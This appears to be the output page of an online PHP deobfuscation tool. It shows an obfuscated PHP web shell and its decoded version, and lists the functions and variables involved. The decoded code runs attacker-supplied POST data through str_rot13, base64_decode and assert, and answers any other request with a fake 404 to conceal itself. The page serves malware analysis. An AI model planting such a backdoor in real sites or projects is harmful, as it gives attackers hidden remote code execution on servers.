Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

if(isset($_POST[chr(100)."a"."\x74"."\x61"])){$ohx=chr(97)."s".chr(115).chr(101)."\x72"."t..

Decoded Output download

<?  if(isset($_POST[chr(100)."a"."t"."a"])){$ohx=chr(97)."s".chr(115).chr(101)."r"."t";$twu="b".chr(97)."s"."e"."6".chr(52)."_"."d".chr(101)."c"."o"."d"."e";$ye="s"."t"."r"."_"."r"."o"."t"."1".chr(51);@$ohx(@$twu(@$ye($_POST[chr(100)."a"."t"."a"])));die;} 
else{ 
	if(function_exists('headers_sent') && !headers_sent()){ 
		header('HTTP/1.0 404 Not Found',TRUE); 
		header('Status: 404 Not Found',TRUE); 
	} 
} 
 ?>

Did this file decode correctly?

Original Code

if(isset($_POST[chr(100)."a"."\x74"."\x61"])){$ohx=chr(97)."s".chr(115).chr(101)."\x72"."t";$twu="b".chr(97)."\x73"."\x65"."6".chr(52)."\x5f"."d".chr(101)."c"."\x6f"."d"."\x65";$ye="s"."t"."\x72"."\x5f"."r"."\x6f"."t"."1".chr(51);@$ohx(@$twu(@$ye($_POST[chr(100)."a"."\x74"."\x61"])));die;}
else{
	if(function_exists('headers_sent') && !headers_sent()){
		header('HTTP/1.0 404 Not Found',TRUE);
		header('Status: 404 Not Found',TRUE);
	}
}

Function Calls

chr 9
str_rot13 1

Variables

$ye str_rot13
$ohx assert
$twu base64_decode

Stats

MD5 766c8300c082802749546b4ca0fa5afa
Eval Count 0
Decode Time 126 ms